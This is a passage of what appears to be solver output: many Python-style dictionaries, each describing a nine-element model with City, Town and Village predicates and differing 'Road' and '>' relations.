">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '4'), ('3', '8'), ('1', '2'),
('2', '6'), ('6', '2'), ('9', '2'), ('7', '2'), ('8', '3'), ('5', '3'),
('2', '7'), ('1', '3'), ('2', '9'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '4'), ('3', '8'), ('3', '9'),
('1', '2'), ('2', '6'), ('6', '2'), ('7', '2'), ('8', '3'), ('9', '3'),
('5', '3'), ('2', '7'), ('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '4'), ('3', '7'), ('8', '2'),
('2', '8'), ('1', '2'), ('2', '6'), ('6', '2'), ('9', '2'), ('5', '3'),
('7', '3'), ('1', '3'), ('2', '9'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '4'), ('3', '7'), ('8', '2'),
('3', '9'), ('2', '8'), ('1', '2'), ('2', '6'), ('6', '2'), ('9', '3'),
('5', '3'), ('7', '3'), ('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '4'), ('3', '7'), ('3', '8'),
('1', '2'), ('2', '6'), ('6', '2'), ('9', '2'), ('8', '3'), ('5', '3'),
('7', '3'), ('1', '3'), ('2', '9'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '4'), ('8', '2'), ('2', '8'),
('1', '2'), ('3', '6'), ('9', '2'), ('7', '2'), ('5', '3'), ('6', '3'),
('2', '7'), ('1', '3'), ('2', '9'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '4'), ('8', '2'), ('3', '9'),
('2', '8'), ('1', '2'), ('3', '6'), ('7', '2'), ('9', '3'), ('5', '3'),
('6', '3'), ('2', '7'), ('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '4'), ('3', '8'), ('1', '2'),
('3', '6'), ('9', '2'), ('7', '2'), ('8', '3'), ('5', '3'), ('6', '3'),
('2', '7'), ('1', '3'), ('2', '9'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '4'), ('3', '7'), ('8', '2'),
('2', '8'), ('1', '2'), ('3', '6'), ('9', '2'), ('5', '3'), ('6', '3'),
('7', '3'), ('1', '3'), ('2', '9'), ('4', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '8'), ('3', '9'),
('2', '4'), ('1', '2'), ('2', '6'), ('4', '2'), ('6', '2'), ('7', '2'),
('8', '3'), ('9', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '7'), ('8', '2'),
('3', '9'), ('2', '4'), ('1', '2'), ('2', '8'), ('2', '6'), ('6', '2'),
('7', '3'), ('9', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '7'), ('3', '8'),
('2', '4'), ('1', '2'), ('2', '6'), ('6', '2'), ('7', '3'), ('9', '2'),
('8', '3'), ('4', '2'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '7'), ('3', '8'),
('3', '9'), ('2', '4'), ('1', '2'), ('2', '6'), ('6', '2'), ('7', '3'),
('8', '3'), ('9', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('8', '2'), ('3', '9'),
('2', '4'), ('1', '2'), ('2', '8'), ('4', '2'), ('3', '6'), ('7', '2'),
('9', '3'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '8'), ('2', '4'),
('1', '2'), ('4', '2'), ('3', '6'), ('9', '2'), ('7', '2'), ('8', '3'),
('2', '7'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '8'), ('3', '9'),
('2', '4'), ('1', '2'), ('4', '2'), ('3', '6'), ('7', '2'), ('8', '3'),
('9', '3'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '7'), ('8', '2'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '6'), ('7', '3'), ('9', '2'),
('4', '2'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '7'), ('8', '2'),
('3', '9'), ('2', '4'), ('1', '2'), ('2', '8'), ('3', '6'), ('7', '3'),
('9', '3'), ('4', '2'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '7'), ('3', '8'),
('2', '4'), ('1', '2'), ('3', '6'), ('7', '3'), ('9', '2'), ('8', '3'),
('4', '2'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('8', '2'), ('3', '4'),
('3', '9'), ('2', '8'), ('1', '2'), ('2', '6'), ('6', '2'), ('4', '3'),
('7', '2'), ('9', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '4'), ('3', '8'),
('1', '2'), ('2', '6'), ('6', '2'), ('9', '2'), ('4', '3'), ('7', '2'),
('8', '3'), ('2', '7'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '4'), ('3', '8'),
('3', '9'), ('1', '2'), ('2', '6'), ('6', '2'), ('4', '3'), ('7', '2'),
('8', '3'), ('9', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '7'), ('8', '2'),
('3', '4'), ('2', '8'), ('1', '2'), ('2', '6'), ('6', '2'), ('9', '2'),
('4', '3'), ('7', '3'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '7'), ('8', '2'),
('3', '4'), ('3', '9'), ('2', '8'), ('1', '2'), ('2', '6'), ('6', '2'),
('4', '3'), ('9', '3'), ('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '7'), ('3', '4'),
('3', '8'), ('1', '2'), ('2', '6'), ('6', '2'), ('9', '2'), ('4', '3'),
('8', '3'), ('7', '3'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('8', '2'), ('3', '4'),
('2', '8'), ('1', '2'), ('3', '6'), ('9', '2'), ('4', '3'), ('7', '2'),
('2', '7'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('8', '2'), ('3', '4'),
('3', '9'), ('2', '8'), ('1', '2'), ('3', '6'), ('4', '3'), ('7', '2'),
('9', '3'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '4'), ('3', '8'),
('1', '2'), ('3', '6'), ('9', '2'), ('4', '3'), ('7', '2'), ('8', '3'),
('2', '7'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '7'), ('8', '2'),
('3', '4'), ('2', '8'), ('1', '2'), ('3', '6'), ('9', '2'), ('4', '3'),
('7', '3'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '8'), ('3', '9'), ('2', '4'), ('1', '2'),
('5', '2'), ('2', '5'), ('4', '2'), ('1', '6'), ('6', '1'), ('7', '2'),
('8', '3'), ('9', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('8', '2'), ('5', '2'), ('3', '9'),
('2', '4'), ('1', '2'), ('2', '8'), ('2', '5'), ('1', '6'), ('7', '3'),
('6', '1'), ('9', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('3', '8'), ('5', '2'), ('2', '4'),
('1', '2'), ('2', '5'), ('1', '6'), ('7', '3'), ('6', '1'), ('8', '3'),
('9', '2'), ('4', '2'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('3', '8'), ('3', '9'), ('2', '4'),
('1', '2'), ('5', '2'), ('2', '5'), ('1', '6'), ('7', '3'), ('6', '1'),
('8', '3'), ('9', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('3', '9'), ('2', '4'),
('1', '2'), ('2', '8'), ('4', '2'), ('1', '6'), ('6', '1'), ('7', '2'),
('9', '3'), ('5', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '8'), ('2', '4'), ('1', '2'),
('4', '2'), ('1', '6'), ('9', '2'), ('6', '1'), ('7', '2'), ('8', '3'),
('5', '3'), ('2', '7'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '8'), ('3', '9'), ('2', '4'),
('1', '2'), ('4', '2'), ('1', '6'), ('6', '1'), ('7', '2'), ('8', '3'),
('9', '3'), ('5', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('8', '2'), ('2', '4'),
('1', '2'), ('2', '8'), ('1', '6'), ('7', '3'), ('6', '1'), ('9', '2'),
('5', '3'), ('4', '2'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '9'),
('2', '4'), ('1', '2'), ('2', '8'), ('1', '6'), ('7', '3'), ('6', '1'),
('9', '3'), ('5', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('3', '8'), ('2', '4'),
('1', '2'), ('1', '6'), ('7', '3'), ('6', '1'), ('8', '3'), ('9', '2'),
('5', '3'), ('4', '2'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
